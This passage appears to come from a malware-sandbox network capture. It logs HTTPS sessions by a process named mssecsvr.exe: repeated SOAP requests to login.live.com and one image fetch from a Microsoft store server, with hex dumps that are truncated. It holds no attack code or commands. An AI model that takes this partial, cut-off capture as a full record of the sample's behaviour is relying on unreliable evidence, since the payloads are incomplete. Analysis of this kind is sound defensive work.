2022-07-20 17:07:16 UTC	200	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2022-07-20 17:07:16 UTC	203	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Jul 2022 17:06:16 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: R3_BL2 x-ms-request-id: 6969fc7f-711e-4a88-ae1b-2a7913227fc4 PPServer: PPV: 30 H: BL02PF82DD09C6B V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Jul 2022 17:07:15 GMT Connection: close Content-Length: 11296
2022-07-20 17:07:16 UTC	204	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.7	50177	40.126.32.67	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:07:17 UTC	215	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4740 Host: login.live.com
2022-07-20 17:07:17 UTC	215	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2022-07-20 17:07:18 UTC	225	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Jul 2022 17:06:18 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: R3_BL2 x-ms-request-id: aa5aac2e-40a1-419f-ae59-2f0b2b3d9334 PPServer: PPV: 30 H: BL02PF46CFA28D9 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Jul 2022 17:07:17 GMT Connection: close Content-Length: 11316
2022-07-20 17:07:18 UTC	225	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.7	50178	40.126.32.67	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:07:18 UTC	220	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.27716.00; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4659 Host: login.live.com
2022-07-20 17:07:18 UTC	220	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2022-07-20 17:07:18 UTC	236	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Jul 2022 17:06:18 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: R3_BL2 x-ms-request-id: eb60561a-1931-4dfa-a6f9-1d78bad74f37 PPServer: PPV: 30 H: BL02PF953F45628 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Jul 2022 17:07:17 GMT Connection: close Content-Length: 10793
2022-07-20 17:07:18 UTC	237	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.7	50184	40.126.32.67	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:07:18 UTC	247	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4796 Host: login.live.com
2022-07-20 17:07:18 UTC	248	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2022-07-20 17:07:18 UTC	273	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Jul 2022 17:06:18 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: R3_BL2 x-ms-request-id: d1cc3c1f-33ca-48ee-a5f0-7bc55a534fe9 PPServer: PPV: 30 H: BL02PFA43ABF6D6 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Jul 2022 17:07:18 GMT Connection: close Content-Length: 11093
2022-07-20 17:07:18 UTC	273	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.7	49726	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:06:48 UTC	57	OUT	GET /image/apps.18858.9007199266246227.c596c546-6fcb-4260-935c-19bc24b971ef.1b03c26f-1753-4221-9ab1-4581f098723d?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 17:06:49 UTC	60	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 6463 Content-Type: image/png Last-Modified: Fri, 19 Jun 2020 10:04:23 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDgxNDM4MjQzOTA3MEE" MS-CV: fY4WMkPOy0W6s1dW.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 17:06:49 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 17:06:49 UTC	60	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 06 00 00 00 e7 fd 30 08 00 00 19 06 49 44 41 54 78 da ed 9d 6b 8c 64 47 75 c7 ff a7 ee bd fd 9e 61 66 1f b3 f6 da 59 af 6d cc 1a 90 83 88 4d 62 05 12 05 10 21 22 89 14 41 a2 10 f1 c5 12 22 41 0a 10 e1 48 b1 12 16 29 21 ca 07 92 0f 09 10 41 a4 90 10 02 e4 01 76 14 39 4e 82 20 36 2b 21 25 32 36 0f 3f c0 ac 6d 58 1b 3f d6 fb 66 66 76 77 66 7a fa d6 c9 87 aa 7b 6f dd ea ba b7 6f f7 f4 4c 77 cf d6 91 7a fb 76 df 7e ec dc fa f5 ff 9c 3a 75 aa 0a f0 e6 cd 9b 37 6f de bc 79 f3 e6 cd 9b 37 6f de bc 79 f3 e6 cd 9b 37 6f de bc 79 f3 e6 cd 9b 37 6f de bc 79 f3 e6 cd 9b 37 6f de bc 79 f3 e6 cd db 84 8c 8c db 54 ff 27 bd cd ee 35 66 0f 8e 87 62 a6 20 f2 e0 4c d7 f5 a1 31 80 c0 1e 9c d9 ff 9b 27 Data Ascii: PNGIHDR0IDATxkdGuafYmMb!"A"AH)!Av9N 6+!%26?mX?ffvwfz{ooLwzv~:u7oy7oy7oy7oy7oyT'5fb L1'

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.7	50183	40.126.32.67	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:07:18 UTC	253	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4796 Host: login.live.com
2022-07-20 17:07:18 UTC	258	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2022-07-20 17:07:18 UTC	284	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Jul 2022 17:06:18 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: R3_BL2 x-ms-request-id: f022f26a-3c36-43e6-8eba-62a86c109686 PPServer: PPV: 30 H: BL02PF940875D52 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Jul 2022 17:07:17 GMT Connection: close Content-Length: 11093
2022-07-20 17:07:18 UTC	285	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.7	50187	40.126.32.67	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:07:18 UTC	253	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4796 Host: login.live.com
2022-07-20 17:07:18 UTC	253	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2022-07-20 17:07:18 UTC	318	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Jul 2022 17:06:18 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: R3_BL2 x-ms-request-id: 478e2961-38a8-4937-93ea-5d0b7087d83b PPServer: PPV: 30 H: BL02PF3A7BE2F5B V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Jul 2022 17:07:18 GMT Connection: close Content-Length: 11093
2022-07-20 17:07:18 UTC	319	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.7	50186	40.126.32.67	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:07:18 UTC	263	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4794 Host: login.live.com
